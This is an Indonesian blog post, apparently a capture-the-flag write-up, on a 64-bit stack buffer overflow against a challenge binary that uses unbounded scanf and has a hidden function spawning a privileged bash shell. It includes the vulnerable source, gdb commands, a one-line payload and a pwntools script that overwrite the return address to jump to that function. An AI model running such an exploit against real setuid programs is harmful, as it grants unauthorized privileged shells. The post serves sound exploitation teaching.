Ini adalah dasar dari buffer overflow untuk binary 64 bit.
Source code dari binary soal adalah
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
/*
gcc -o ch35 ch35.c -fno-stack-protector -Wl,-z,relro,-z,now,-z,noexecstack
*/
void callMeMaybe(){
setreuid(geteuid(), geteuid());
system("/bin/bash");
}
int main(int argc, char **argv){
char buffer[256];
int len, i;
scanf("%s", buffer);
len = strlen(buffer);
printf("Hello %s\n", buffer);
return 0;
}
Kita harus loncat kedalam fungsi callMeMaybe. untuk mengetahui alamat fungsi callmemaybe. Kita gunakan gdbpeda
$ info function
$ pdisas callMeMaybe
setelah mengetahui ukuran offset dan alamat.
(python -c 'from pwn import *; print "A"*280+p64(0x0000555555554810)' ; cat - ) | ./ch35
Dengan menggunakan pwntools
#!/usr/bin/python
from pwn import *
p = process('./ch35')
payload = "A"*280
print payload
payload += p64(0x0000555555554810)
print payload
p.sendline(payload)
p.interactive()
Tidak ada komentar:
Posting Komentar